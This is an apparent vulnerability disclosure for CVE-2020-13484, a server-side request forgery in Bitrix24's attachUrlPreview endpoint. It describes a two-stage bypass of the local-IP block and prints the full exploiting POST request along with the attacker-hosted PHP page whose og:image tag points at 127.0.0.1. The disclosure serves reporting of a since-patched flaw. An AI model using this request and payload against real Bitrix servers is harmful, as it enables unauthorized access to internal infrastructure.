

CVE-2020-13484

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2
3 https://gist.github.com/mariuszpoplowski/26e1fbde8f9a607478bee1de90daa329
4
5
6
7 -----
8
9 Bitrix24 through 20.0.975 allows SSRF via an intranet IP address in
10 the services/main/ajax.php?action=attachUrlPreview url parameter, if
11 the destination URL hosts an HTML document
12 containing 'meta name="og:image" content="' followed by an intranet URL.
13
14 -----
15
16 [Additional Information]
17 Vulnerability allow us to trigger server-side request forgery to remote
18 addresses and second vulnerability in this functionality allowed us to
19 bypass restrictions and generate other request that bypassed policy of
20 local IP block. We were able to generate requests in internal
21 infrastructure.
22
23 In first stage we have found SSRF that allowed us only send remote
24 requests. Then we manipulated the parser to parse our HTML page and
25 generate second request to internal bitrix core at server side. Bitrix
26 was prsing og:image tags, this way we could trigger second SSRF. The
27 second request was not properly checked for "local" IP's.
28
29 To generate SSRF we need to trigger following request:
30
31 POST /bitrix/services/main/ajax.php?action=attachUrlPreview&show_actions=y&buildd_preview=y&die_step=3&admin_section=Y&show_cache_stat1=Y&c
32 Host: 192.168.1.24
33 Origin: http://192.168.1.24
34 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
35 Bx-ajax: true
36 Accept: */*
37 Referer: http://192.168.1.24/stream/
38 Accept-Encoding: gzip, deflate
39 Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
40 Cookie: BITRIX_SM_TIME_ZONE=-120; BITRIX_SM_SALE_UID=0; BITRIX_SM_SOUND_LOGIN_PLAYED=Y; PHPSESSID=btu7ccklirm51hsgs45akh5dma; BITRIX_SM_NCC
41 Connection: close
42 Content-Type: application/x-www-form-urlencoded
43 Content-Length: 22
44
45 url=http://OurVPSHost/index.php?id=1
46
47 "OurVPSHost" host index.php file:
48 -----
49 <?php header('Content-Type:text/html'); ?>
50
51 <meta name="og:image" content="http://127.0.0.1/fake_img.php"/
52 -----
53
54 Vulnerability send second SSRF, first one do not allow send internal
55 request but the HTML parser parse our og:image tag and send internal
56 request by redirecting bitrix server to 127.0.0.1/fake_img.php. This
57 way we are able to bypass the restrictions of bitrix core.
58
59 -----
60
61 [VulnerabilityType Other]
62 Unauthorized server side request forgery, bypass domain whitelist
63
64 -----
65
66 [Vendor of Product]
67 1c-bitrix.ru, bitrix24.net
68
69 -----
70
71 [Affected Product Code Base]
72 Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch
73
74 -----
75
76 [Affected Component]
77 Main core URLPreview function
78
79 -----
80
81 [Attack Type]
```

```
82 Remote
83
84 -----
85
86 [CVE Impact Other]
87 Force server side request forgery
88
89 -----
90
91 [Attack Vectors]
92 To exploit vulnerability attacker need access to the website, valid
93 unauth session and CSRF token - all can be generated w/o any
94 privileges, no additional requirements needed.
95
96 -----
97
98 [Has vendor confirmed or acknowledged the vulnerability?]
99 true
100
101 -----
102
103 [Discoverer]
104 Mariusz Poplawski (afine.pl)
105
106 -----
107
108 [Reference]
109 https://www.bitrix24.com/prices/self-hosted.php
110 https://www.bitrix24.com/security/
111
112
113 Mariusz Poplawski / AFINE.com team
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